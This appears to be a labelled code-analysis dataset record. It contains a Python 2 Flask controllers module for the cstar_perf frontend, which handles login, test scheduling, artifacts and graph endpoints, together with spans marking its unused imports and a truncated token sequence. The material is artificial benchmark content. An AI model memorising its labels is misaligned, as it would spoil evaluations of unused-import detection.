[ { "content": "\"\"\"Main Application Controllers\"\"\"\nimport functools\nimport hashlib\n\nimport httplib2\nimport os.path\nimport uuid\nimport socket\nfrom collections import OrderedDict\nimport time\nfrom datetime import datetime\nfrom functools import partial\n\nimport zmq\nimport json\nimport ConfigParser\nfrom flask import ( Flask, render_template, request, redirect, abort, Response,\n jsonify, make_response, session, url_for)\n\nfrom flask.ext.scrypt import generate_random_salt, generate_password_hash, check_password_hash\n\nfrom apiclient.discovery import build\nfrom oauth2client.client import ( AccessTokenRefreshError,\n AccessTokenCredentials,\n flow_from_clientsecrets,\n FlowExchangeError)\n\nfrom app import app, app_config, db, sockets\nfrom model import Model, UnknownUserError, UnknownTestError\nfrom notifications import console_subscribe\nfrom cstar_perf.frontend.lib.util import random_token\nfrom cstar_perf.frontend.lib import screenshot, stupid_cache\nfrom cstar_perf.frontend import SERVER_KEY_PATH\nfrom cstar_perf.frontend.lib.crypto import APIKey\n\nimport logging\nlog = logging.getLogger('cstar_perf.controllers')\n\n### Setup authentication method configured in server.conf:\ntry:\n authentication_type = app_config.get(\"server\", \"authentication_type\")\nexcept ConfigParser.NoOptionError:\n authentication_type = 'local'\nif authentication_type == 'local':\n pass\nelif authentication_type == 'google':\n ### Google+ API:\n gplus = build('plus', 'v1')\n google_client_secrets = os.path.join(os.path.expanduser(\"~\"),'.cstar_perf','client_secrets.json')\n with open(google_client_secrets) as f:\n google_client_id = json.load(f)['web']['client_id']\nelse:\n raise AssertionError('Invalid authentication type configured in server.conf: {}'.format(authentication_type))\n\nserver_key = APIKey.load(SERVER_KEY_PATH)\n\n################################################################################\n#### Template functions:\n################################################################################\napp.jinja_env.globals['get_user_id'] = get_user_id\n\napp.jinja_env.globals['user_is_authenticated'] = user_is_authenticated\n\n\n################################################################################\n#### Helpers\n################################################################################\n\n\n\n################################################################################\n#### Page Controllers\n################################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n################################################################################\n#### JSON API\n################################################################################\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n################################################################################\n#### Websockets\n################################################################################\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def get_user_id():\n return session.get('user_id', None)", "metadata": "root.get_user_id", "header": "['module', '___EOS___']", "index": 59 }, { "content": "def user_is_authenticated():\n return session.get('logged_in',False)", "metadata": "root.user_is_authenticated", "header": "['module', '___EOS___']", "index": 63 }, { "content": "def user_in_role(role, user=None):\n \"\"\"Find if a user is in the given role\"\"\"\n if user is None:\n user = get_user_id()\n try:\n user_roles = db.get_user_roles(get_user_id())\n if role in user_roles:\n return True\n except UnknownUserError:\n pass\n return False", "metadata": "root.user_in_role", "header": "['module', '___EOS___']", "index": 71 }, { "content": "def requires_auth(role):\n \"\"\"Ensures the current user has the appropriate authorization before\n running the wrapped function\"\"\"\n def decorator(function):\n @functools.wraps(function)\n def wrapper(*args, **kw):\n # Do the check:\n if user_is_authenticated():\n if user_in_role(role):\n return function(*args, **kw)\n return make_response(render_template('access_denied.jinja2.html'), 401)\n return wrapper\n return decorator", "metadata": "root.requires_auth", "header": "['module', '___EOS___']", "index": 83 }, { "content": "@app.context_processor\ndef inject_template_variables():\n \"\"\"Common variables available to all templates\"\"\"\n d = {'clusters': db.get_cluster_names(),\n 'authentication_type': authentication_type,\n 'google_client_id': None}\n if authentication_type == 'google':\n d['google_client_id'] = google_client_id\n return d", "metadata": "root.inject_template_variables", "header": "['module', '___EOS___']", "index": 97 }, { "content": "@app.route('/')\ndef index():\n return render_template('index.jinja2.html')", "metadata": "root.index", "header": "['module', '___EOS___']", "index": 111 }, { "content": "def login_with_google():\n \"\"\"Login via Google+\"\"\"\n log.info(\"Initiating login with Google+\")\n code = request.data\n try:\n # Upgrade the authorization code into a credentials object\n oauth_flow = flow_from_clientsecrets(google_client_secrets, scope='')\n oauth_flow.redirect_uri = 'postmessage'\n credentials = oauth_flow.step2_exchange(code)\n except FlowExchangeError:\n return make_response(\n jsonify({'error':'Failed to upgrade the authorization code.'}), 401)\n\n # An ID Token is a cryptographically-signed JSON object encoded in base 64.\n # Normally, it is critical that you validate an ID Token before you use it,\n # but since you are communicating directly with Google over an\n # intermediary-free HTTPS channel and using your Client Secret to\n # authenticate yourself to Google, you can be confident that the token you\n # receive really comes from Google and is valid. If your server passes the\n # ID Token to other components of your app, it is extremely important that\n # the other components validate the token before using it.\n gplus_id = credentials.id_token['sub']\n \n stored_credentials = AccessTokenCredentials(session.get('credentials'), \n request.user_agent)\n stored_gplus_id = session.get('gplus_id')\n if stored_credentials is not None and gplus_id == stored_gplus_id:\n return make_response(jsonify(\n {'success':'Current user is already connected.'}), 200)\n # Get the user's email address:\n http = httplib2.Http()\n http = credentials.authorize(http)\n # Get a list of people that this user has shared with this app.\n google_request = gplus.people().get(userId='me')\n user_obj = google_request.execute(http=http)\n email = None\n # Find the google account email:\n for e in user_obj['emails']:\n if e['type'] == 'account':\n email = e['value']\n break\n else:\n return make_response(\n jsonify({'error':'Authorization from Google failed.'}), 401)\n \n # Store the access token in the session for later use.\n session['credentials'] = credentials.access_token\n session['gplus_id'] = gplus_id\n session['logged_in'] = True\n session['user_id'] = email\n return make_response(jsonify({'success':'Successfully connected user.'}), \n 200)", "metadata": "root.login_with_google", "header": "['module', '___EOS___']", "index": 115 }, { "content": "def login_with_passphrase():\n data = request.get_json(force=True)\n log.info(\"Initiating login with passphrase\")\n\n try:\n if db.validate_user_passphrase(data['email'], data['passphrase']): \n session['logged_in'] = True\n session['user_id'] = data['email']\n return make_response(jsonify({'success':'Successfully connected user.'}), \n 200)\n except UnknownUserError:\n pass\n return make_response(jsonify({'error':'Unauthorized - did you enter the user right user / passphrase?'}), 401)", "metadata": "root.login_with_passphrase", "header": "['module', '___EOS___']", "index": 168 }, { "content": "@app.route('/login', methods=['POST'])\ndef login():\n \"\"\"Login via digest authentication, or Google+\"\"\"\n if authentication_type == 'local':\n return login_with_passphrase()\n elif authentication_type == 'google':\n return login_with_google()\n else:\n raise AssertionError('Invalid authentication type configured in server.conf: {}'.format(authentication_type))", "metadata": "root.login", "header": "['module', '___EOS___']", "index": 182 }, { "content": "@app.route('/logout', methods=['GET','POST'])\ndef logout():\n for i in ['credentials','gplus_id','logged_in','bypass_csrf'] :\n try:\n session.pop(i)\n except KeyError:\n pass\n if request.method == \"POST\":\n return make_response(jsonify({'success':'Logged out.'}), 200)\n else:\n return redirect(\"/\")", "metadata": "root.logout", "header": "['module', '___EOS___']", "index": 192 }, { "content": "@app.route('/tests')\ndef tests():\n clusters = db.get_cluster_names()\n cluster_scheduled_tests = {}\n cluster_in_progress_tests = {}\n for c in clusters:\n scheduled_tests = db.get_scheduled_tests(c)\n if len(scheduled_tests) > 0:\n cluster_scheduled_tests[c] = scheduled_tests\n in_progress_tests = db.get_in_progress_tests(c)\n if len(in_progress_tests) > 0:\n cluster_in_progress_tests[c] = in_progress_tests\n completed_tests = db.get_completed_tests()\n return render_template('tests.jinja2.html', clusters=clusters, \n cluster_scheduled_tests=cluster_scheduled_tests, \n cluster_in_progress_tests=cluster_in_progress_tests,\n completed_tests=completed_tests)", "metadata": "root.tests", "header": "['module', '___EOS___']", "index": 205 }, { "content": "@app.route('/tests/user')\n@requires_auth('user')\ndef my_tests():\n queued_tests = db.get_user_scheduled_tests(get_user_id())\n in_progress_tests = db.get_user_in_progress_tests(get_user_id())\n completed_tests = db.get_user_completed_tests(get_user_id())\n failed_tests = db.get_user_failed_tests(get_user_id(), 10)\n return render_template('user.jinja2.html', queued_tests=queued_tests, \n in_progress_tests=in_progress_tests, \n completed_tests=completed_tests,\n failed_tests=failed_tests)", "metadata": "root.my_tests", "header": "['module', '___EOS___']", "index": 223 }, { "content": "@app.route('/tests/id/<test_id>')\ndef view_test(test_id):\n try:\n test = db.get_test(test_id)\n except UnknownTestError:\n return make_response('Unknown Test {test_id}.'.format(test_id=test_id), 404)\n artifacts = db.get_test_artifacts(test_id)\n\n has_chart = False\n for a in artifacts:\n if a['artifact_type'] in ['failure','link']:\n # Proactively fetch non-blob artifacts:\n a['artifact'] = db.get_test_artifact_data(test_id, a['artifact_type'], a['name'])\n if a['artifact_type'] == 'stats':\n has_chart = True\n\n return render_template('view_test.jinja2.html', test=test, artifacts=artifacts, has_chart=has_chart)", "metadata": "root.view_test", "header": "['module', '___EOS___']", "index": 235 }, { "content": "@app.route('/tests/artifacts/<test_id>/<artifact_type>')\[email protected]('/tests/artifacts/<test_id>/<artifact_type>/<artifact_name>')\ndef get_artifact(test_id, artifact_type, artifact_name=None):\n\n if artifact_type == 'graph':\n return redirect(\"/graph?command=one_job&stats={test_id}\".format(test_id=test_id))\n elif artifact_type == 'flamegraph' and not artifact_name:\n artifacts = db.get_test_artifacts(test_id, artifact_type)\n for artifact in artifacts:\n artifact['data'] = db.get_test_artifact_data(test_id, artifact_type, artifact['name'])\n return render_template('flamegraph.jinja2.html', test_id=test_id, artifacts=artifacts)\n\n if not artifact_name:\n return make_response(jsonify({'error':'No artifact name provided.'}), 400)\n\n artifact, object_id, artifact_available = db.get_test_artifact_data(test_id, artifact_type, artifact_name)\n\n if artifact_name.endswith(\".tar.gz\"):\n mimetype = 'application/gzip'\n elif artifact_name.endswith(\".json\"):\n mimetype = 'application/json'\n elif artifact_name.endswith(\".svg\"):\n mimetype = 'image/svg+xml'\n else:\n mimetype = 'text/plain'\n\n if artifact is None and object_id is not None and artifact_available:\n artifact = db.generate_object_by_chunks(object_id)\n\n return Response(response=artifact,\n status=200,\n mimetype=mimetype,\n headers={\"Content-Disposition\": \"filename={name}\".format(name=artifact_name)})", "metadata": "root.get_artifact", "header": "['module', '___EOS___']", "index": 253 }, { "content": "@app.route('/graph')\ndef graph():\n return render_template('graph.jinja2.html')", "metadata": "root.graph", "header": "['module', '___EOS___']", "index": 287 }, { "content": "@app.route('/schedule', methods=['GET'])\n@requires_auth('user')\ndef schedule():\n \"\"\"Page to schedule a test\"\"\"\n return render_template('schedule.jinja2.html')", "metadata": "root.schedule", "header": "['module', '___EOS___']", "index": 292 }, { "content": "@app.route('/cluster/<cluster_name>')\n@requires_auth('user')\ndef cluster(cluster_name):\n return render_template('cluster.jinja2.html',\n cluster_name=cluster_name)", "metadata": "root.cluster", "header": "['module', '___EOS___']", "index": 298 }, { "content": "@app.route('/cluster/specs', methods=['GET'])\ndef cluster_specs():\n return render_template('cluster_specs.jinja2.html')", "metadata": "root.cluster_specs", "header": "['module', '___EOS___']", "index": 304 }, { "content": "@app.route('/api/login', methods=['GET','POST'])\ndef login_for_apps():\n \"\"\"Login for API access only\"\"\"\n if request.method == \"GET\":\n session['unsigned_access_token'] = random_token()\n session['logged_in'] = False\n return jsonify({\"token\":session['unsigned_access_token'],\n \"signature\":server_key.sign_message(session['unsigned_access_token'])})\n elif request.method == \"POST\":\n # Client posts it's login name and a signed token.\n data = request.get_json()\n # Verify signed token against stored public key for that name.\n pubkey = APIKey(db.get_pub_key(data['login'])['pubkey'])\n try:\n pubkey.verify_message(session['unsigned_access_token'], data['signature'])\n except Exception, e:\n session['logged_in'] = False\n del session['unsigned_access_token']\n return make_response(jsonify({'error':'Bad token signature.'}), 401)\n # Token has valid signature, grant login:\n session['user_id'] = data['login']\n session['logged_in'] = True\n # Mark this session as safe to bypass csrf protection, due to the ECDSA authentication:\n session['bypass_csrf'] = True\n return jsonify({'success':'Logged in'})", "metadata": "root.login_for_apps", "header": "['module', '___EOS___']", "index": 313 }, { "content": "@app.route('/api/tests/schedule', methods=['POST'])\n@requires_auth('user')\ndef schedule_test():\n \"\"\"Schedule a test\"\"\"\n job = request.get_json()\n job_id = uuid.uuid1()\n job['test_id'] = str(job_id)\n job['user'] = get_user_id()\n test_series = job.get('testseries', 'no_series')\n if not test_series: \n test_series = 'no_series'\n db.schedule_test(test_id=job_id, test_series=test_series, user=job['user'], \n cluster=job['cluster'], test_definition=job)\n return jsonify({'success':True, 'url':'/tests/id/{test_id}'.format(test_id=job['test_id'])})", "metadata": "root.schedule_test", "header": "['module', '___EOS___']", "index": 340 }, { "content": "@app.route('/api/tests/cancel', methods=['POST'])\n@requires_auth('user')\ndef cancel_test():\n \"\"\"Cancel a scheduled test\"\"\"\n test_id = request.form['test_id']\n test = db.get_test(test_id)\n\n # If test is scheduled, we can immediately cancel.\n # If test is already in progress, we need to mark as\n # cancel_pending to await the client to cancel the job itself.\n new_status = 'cancelled'\n if test['status'] == 'in_progress' or test['status'] == 'cancel_pending':\n new_status = 'cancel_pending'\n\n if user_in_role('admin'):\n db.update_test_status(test_id, new_status)\n else:\n # Check if the test is owned by the user:\n if test['user'] == get_user_id():\n db.update_test_status(test_id, new_status)\n else:\n return make_response(jsonify({'error':'Access Denied to modify test {test_id}'\n .format(test_id=test_id)}), 401)\n return jsonify({'success':'Test cancelled'})", "metadata": "root.cancel_test", "header": "['module', '___EOS___']", "index": 355 }, { "content": "@app.route('/api/tests')\ndef get_tests():\n \"\"\"Retreive all completed tests\"\"\"\n\n completed_tests = db.get_completed_tests()\n\n # Apply filters\n try:\n param_from = request.args.get('date_from', None)\n param_to = request.args.get('date_to', None)\n date_from = datetime.fromtimestamp(float(param_from)) if param_from else None\n date_to = datetime.fromtimestamp(float(param_to)) if param_to else None\n except:\n return make_response(jsonify({'error':'Invalid date parameters.'}), 400)\n\n if date_from:\n completed_tests = [t for t in completed_tests if t['scheduled_date'] >= date_from]\n if date_to:\n completed_tests = [t for t in completed_tests if t['scheduled_date'] <= date_to]\n\n tests = map(lambda t: {\n 'test_id': t['test_id'],\n 'href': url_for('get_test', test_id=t['test_id'])\n }, completed_tests)\n\n response = json.dumps(obj=tests)\n return Response(response=response,\n status=200,\n mimetype= 'application/json')", "metadata": "root.get_tests", "header": "['module', '___EOS___']", "index": 380 }, { "content": "@app.route('/api/tests/id/<test_id>')\n@requires_auth('user')\ndef get_test(test_id):\n \"\"\"Retrieve the definition for a scheduled test\"\"\"\n try:\n test = db.get_test(test_id)\n return jsonify(test)\n except UnknownTestError:\n return make_response(jsonify({'error':'Unknown Test {test_id}.'.format(test_id=test_id)}), 404)", "metadata": "root.get_test", "header": "['module', '___EOS___']", "index": 410 }, { "content": "@app.route('/api/series')\ndef get_series_list():\n series = db.get_series_list()\n\n if 'true' == request.args.get('pretty', 'True').lower():\n response = json.dumps(obj=series, sort_keys=True, indent=4, separators=(',', ': '))\n else:\n response = json.dumps(obj=series)\n return Response(response=response,\n status=200,\n mimetype='application/json')", "metadata": "root.get_series_list", "header": "['module', '___EOS___']", "index": 421 }, { "content": "@app.route('/api/series/<series>/<start_timestamp>/<end_timestamp>')\ndef get_series( series, start_timestamp, end_timestamp):\n series = db.get_series( series, start_timestamp, end_timestamp)\n # barf -- like below this sucks -- changing the series table to include status needs to be done\n valid_jobs = [job_id for job_id in series if db.get_test_status(job_id) == 'completed']\n\n jsobj = {'series': valid_jobs}\n if 'true' == request.args.get('pretty', 'True').lower():\n response = json.dumps(obj=jsobj, sort_keys=True, indent=4, separators=(',', ': '))\n else:\n response = json.dumps(obj=jsobj)\n return Response(response=response,\n status=200,\n mimetype='application/json')", "metadata": "root.get_series", "header": "['module', '___EOS___']", "index": 434 }, { "content": "def get_series_summaries_impl(series, start_timestamp, end_timestamp):\n series = db.get_series(series, start_timestamp, end_timestamp)\n summaries = []\n for test_id in series:\n status = db.get_test_status(test_id)\n if status == 'completed':\n artifact = db.get_test_artifact_data(test_id, 'stats_summary', 'stats_summary.{}.json'.format(test_id))\n if artifact and artifact[0]:\n summaries.append(json.loads(artifact[0]))\n return summaries", "metadata": "root.get_series_summaries_impl", "header": "['module', '___EOS___']", "index": 449 }, { "content": "@app.route('/api/series/<series>/<start_timestamp>/<end_timestamp>/summaries')\ndef get_series_summaries(series, start_timestamp, end_timestamp):\n summaries = get_series_summaries_impl(series, start_timestamp, end_timestamp)\n # Construct the response in two passes, first sort the data points on the UUID\n # Then denormalize to arrays for each metric\n # Operation -> revision label -> uuid (for ordering) -> metrics as a bloc\n # Then do Operation -> revision label -> metrics as arrays (already sorted)\n byOperation = {}\n\n for summary in summaries:\n # First get everything sorted by operation, revision label (not actual revision branch/tag,sha), test id\n for stat in summary['stats']:\n if 'test' not in stat:\n log.error(\"stat summary without test key: {}\".format(stat['id']))\n continue\n operationStats = byOperation.setdefault(stat['test'], {})\n revisionStats = operationStats.setdefault(stat['label'], OrderedDict())\n revisionStats[uuid.UUID(stat['id'])] = stat\n del stat['test']\n del stat['label']\n\n # Now flatten the entire thing to arrays for each operation -> revision\n summaries = {}\n for operation in byOperation:\n newOperation = summaries.setdefault(operation, {})\n\n for revision in byOperation[operation]:\n newRevision = newOperation.setdefault(revision, {})\n\n for stats in byOperation[operation][revision].itervalues():\n for key, value in stats.iteritems():\n statsArray = newRevision.setdefault(key, [])\n if isinstance(value, basestring):\n statsArray.append(value.split()[0])\n else:\n statsArray.append(value)\n\n # Wrapper object of facilitate adding fields later\n jsobj = { 'summaries' : summaries }\n\n if 'true' == request.args.get('pretty', 'True').lower():\n response = json.dumps(obj=jsobj, sort_keys=True, indent=4, separators=(',', ': '))\n else:\n response = json.dumps(obj=jsobj)\n return Response(response=response,\n status=200,\n mimetype= 'application/json')", "metadata": "root.get_series_summaries", "header": "['module', '___EOS___']", "index": 460 }, { "content": "def construct_series_graph_url( series, start_timestamp, end_timestamp, operation, metric ):\n redirectURL = \"/graph?\"\n redirectURL += \"command=series\"\n redirectURL += \"&series={series}\"\n redirectURL += \"&start_timestamp={start_timestamp}\"\n redirectURL += \"&end_timestamp={end_timestamp}\"\n redirectURL += \"&metric={metric}\"\n redirectURL += \"&show_aggregates=false\"\n redirectURL += \"&operation={operation}\"\n return redirectURL.format(series=series, start_timestamp=start_timestamp, end_timestamp=end_timestamp,\n operation=operation, metric=metric)", "metadata": "root.construct_series_graph_url", "header": "['module', '___EOS___']", "index": 508 }, { "content": "@app.route('/api/series/<series>/<start_timestamp>/<end_timestamp>/graph/<operation>/<metric>')\ndef get_series_graph( series, start_timestamp, end_timestamp, operation, metric):\n redirectURL = construct_series_graph_url(series, start_timestamp, end_timestamp, operation, metric)\n return redirect(redirectURL)", "metadata": "root.get_series_graph", "header": "['module', '___EOS___']", "index": 520 }, { "content": "@app.route('/api/series/<series>/<start_timestamp>/<end_timestamp>/graph/<operation>/<metric>.png')\ndef get_series_graph_png( series, start_timestamp, end_timestamp, operation, metric):\n host = socket.gethostname()\n graphURL = \"http://\" + host + construct_series_graph_url( series, start_timestamp, end_timestamp, operation, metric )\n return Response(response=screenshot.get_graph_png(graphURL, x_crop=900, y_crop=750),\n status=200,\n mimetype='application/png')", "metadata": "root.get_series_graph_png", "header": "['module', '___EOS___']", "index": 525 }, { "content": "def get_series_graph_png_cached( series, age, operation, metric, expires, invalidate):\n host = socket.gethostname()\n end_timestamp = int(time.time())\n start_timestamp = max(0, end_timestamp - int(age))\n graphURL = \"http://\" + host + construct_series_graph_url( series, start_timestamp, end_timestamp, operation, metric )\n def loader():\n return screenshot.get_graph_png(graphURL, x_crop=900, y_crop=750)\n\n cache_key = series + \"/\" + age + \"/\" + operation + \"/\" + metric\n return stupid_cache.stupid_cache_get(\"/tmp\", cache_key, loader, expires, invalidate)", "metadata": "root.get_series_graph_png_cached", "header": "['module', '___EOS___']", "index": 533 }, { "content": "@app.route('/api/series/<series>/<age>/graph/cached/<operation>/<metric>.png')\ndef get_series_graph_png_cached_caching(series, age, operation, metric):\n return Response(response=get_series_graph_png_cached(series, age, operation, metric, 0, False),\n status=200,\n mimetype='application/png')", "metadata": "root.get_series_graph_png_cached_caching", "header": "['module', '___EOS___']", "index": 544 }, { "content": "@app.route('/api/series/<series>/<age>/graph/<operation>/<metric>.png')\ndef get_series_graph_png_cached_invalidating( series, age, operation, metric):\n return Response(response=get_series_graph_png_cached( series, age, operation, metric, 0, True),\n status=200,\n mimetype='application/png')", "metadata": "root.get_series_graph_png_cached_invalidating", "header": "['module', '___EOS___']", "index": 550 }, { "content": "@app.route('/api/tests/status/id/<test_id>')\n@requires_auth('user')\ndef get_test_status(test_id):\n \"\"\"Retrieve the status for a test\"\"\"\n try:\n status = db.get_test_status(test_id)\n return jsonify({'status':status})\n except UnknownTestError:\n return make_response(jsonify({'error':'Unknown Test {test_id}.'.format(test_id=test_id)}), 404)", "metadata": "root.get_test_status", "header": "['module', '___EOS___']", "index": 556 }, { "content": "@app.route('/api/clusters')\n@requires_auth('user')\ndef get_clusters():\n \"\"\"Retrieve information about available clusters\"\"\"\n clusters = db.get_clusters()\n return make_response(jsonify({'clusters':clusters}))", "metadata": "root.get_clusters", "header": "['module', '___EOS___']", "index": 566 }, { "content": "@app.route('/api/clusters/<cluster_name>')\n@requires_auth('user')\ndef get_clusters_by_name(cluster_name):\n \"\"\"Retrieve information about a cluster\"\"\"\n clusters = db.get_clusters()\n return make_response(jsonify(clusters[cluster_name]))", "metadata": "root.get_clusters_by_name", "header": "['module', '___EOS___']", "index": 573 }, { "content": "@app.route('/api/tests/progress/id/<test_id>', methods=['POST'])\n@requires_auth('user')\ndef set_progress_message_on_test(test_id):\n msg = request.get_json()['progress_msg']\n db.update_test_progress_msg(test_id, msg)\n return jsonify({'status': 'ok'})", "metadata": "root.set_progress_message_on_test", "header": "['module', '___EOS___']", "index": 581 }, { "content": "@requires_auth('user')\[email protected]('/api/console')\ndef console_messages(ws):\n \"\"\"Receive console messages as they happen\n\n ZMQ message format:\n Console messages:\n console cluster_name {\"job_id\":\"current_job_id\", \"msg\":\"message from console\"}\n Control messages:\n Keep alive:\n The cluster is starting a job:\n console cluster_name {\"job_id\":\"current_job_id\", \"ctl\":\"START\"}\n The cluster finished a job:\n console cluster_name {\"job_id\":\"current_job_id\", \"ctl\":\"DONE\"}\n The cluster is not working on anything:\n console cluster_name {\"ctl\":\"IDLE\"}\n\n When forwarding messages to the websocket client, the \"console cluster_name\" \n portion is dropped and just the JSON is sent.\n\n Websocket sends keepalive messages periodically:\n {\"ctl\":\"KEEPALIVE\"}\n\n \"\"\"\n cluster_name = ws.receive()\n console_socket = console_subscribe(cluster_name)\n try:\n while True:\n try:\n data = console_socket.recv_string()\n data = data.lstrip(\"console {cluster_name} \".format(cluster_name=cluster_name))\n ws.send(data)\n except zmq.error.Again:\n # If we timeout from zmq, send a keep alive request to the\n # websocket client:\n ws.send('{\"ctl\":\"KEEPALIVE\"}')\n # The client websocket will send keepalive back:\n ws.receive()\n except zmq.error.ZMQError, e:\n\n if e.errno == zmq.POLLERR:\n log.error(e)\n # Interrupted zmq socket code, reinitialize:\n # I get this when I resize my terminal.. WTF?\n console_socket = setup_zmq()\n finally:\n log.error(\"Unsubscribing from zmq socket\")\n console_socket.setsockopt_string(zmq.UNSUBSCRIBE, u'')", "metadata": "root.console_messages", "header": "['module', '___EOS___']", "index": 593 } ]
[ { "span": "import hashlib", "start_line": 2, "start_column": 0, "end_line": 2, "end_column": 14 }, { "span": "from functools import partial", "start_line": 11, "start_column": 0, "end_line": 11, "end_column": 29 }, { "span": "from flask import ( Flask, render_template, request, redirect, abort, Response,\n jsonify, make_response, session, url_for)", "start_line": 16, "start_column": 0, "end_line": 17, "end_column": 61 }, { "span": "from flask.ext.scrypt import generate_random_salt, generate_password_hash, check_password_hash", "start_line": 19, "start_column": 0, "end_line": 19, "end_column": 94 }, { "span": "from oauth2client.client import ( AccessTokenRefreshError,\n AccessTokenCredentials,\n flow_from_clientsecrets,\n FlowExchangeError)", "start_line": 22, "start_column": 0, "end_line": 25, "end_column": 52 }, { "span": "from model import Model, UnknownUserError, UnknownTestError", "start_line": 28, "start_column": 0, "end_line": 28, "end_column": 59 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "Main", " ", "Applica", "tion", " ", "Controlle", "rs", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "functools_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "hashlib_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "httplib2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "._", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "uuid_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "socket_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "collections_", "import_", "Order", "ed", "Dict_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "functools_", "import_", "partial_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "zmq_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "Config", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "flask_", "import_", "(_", "Flask_", ",_", "render", "\\u", "template_", ",_", "request_", ",_", "redirect_", ",_", "abort_", ",_", "Response_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "jsonify_", ",_", "make", "\\u", "response_", ",_", "session_", ",_", "url", "\\u", "for_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "flask_", "._", "ext_", "._", "scr", "ypt", "_", "import_", "generat", "e\\u", "random", "\\u", "salt_", ",_", "generat", "e\\u", "password", "\\u", "hash_", ",_", "check", "\\u", "password", "\\u", "hash_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "apiclient_", "._", "discovery_", "import_", "build_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "oauth2", "client_", "._", "client_", "import_", "(_", "Access", "Token", "Refr", "esh", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Access", "Token", "Credentials_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "flow", "\\u", "from", "\\u", "clients", "ecr", "ets_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Flow", "Exc", "hange", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "app_", "import_", "app_", ",_", "app", "\\u", "config_", ",_", "db_", ",_", "sockets_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "model_", "import_", "Model_", ",_", "Un", "know", "n", "User", "Error_", ",_", "Un", "know", "n", "Test", "Error_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "notifications_", "import_", "console", "\\u", "subscribe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cst", "ar", "\\u", "perf_", "._", "frontend_", "._", "lib_", "._", "util_", "import_", "random", "\\u", "token_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cst", "ar", "\\u", "perf_", "._", "frontend_", "._", "lib_", "import_", "screenshot_", ",_", "stu", "pid", "\\u", "cache_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cst", "ar", "\\u", "perf_", "._", "frontend_", "import_", "SERVER", "\\u", "KEY", "\\u", "PATH_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "cst", "ar", "\\u", "perf_", "._", "frontend_", "._", "lib_", "._", "crypto_", "import_", "API", "Key_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "logging_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "log_", "=_", "logging_", "._", "get", "Logger_", "(_", "'", "cst", "ar", "\\u", "perf", ".", "controlle", "rs", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "###", " ", "Set", "up", " ", "authenticat", "ion", " ", "method", " ", "configur", "ed", " ", "in", " ", "server", ".", "conf", ":_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "authenticat", "ion", "\\u", "type_", "=_", "app", "\\u", "config_", "._", "get_", "(_", "\"", "server", "\"_", ",_", "\"", "authenticat", "ion", "\\u", "type", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Config", "Parser_", "._", "No", "Optio", "n", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "authenticat", "ion", "\\u", "type_", "=_", "'", "local", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "authenticat", "ion", "\\u", "type_", "==_", "'", "local", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "authenticat", "ion", "\\u", "type_", "==_", "'", "google", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "###", " ", "Goo", "gle", "+", " ", "API", ":_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "gpl", "us_", "=_", "build_", "(_", "'", "plus", "'_", ",_", "'", "v1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "google", "\\u", "client", "\\u", "secrets_", "=_", "os_", "._", "path_", "._", "join_", "(_", "os_", "._", "path_", "._", 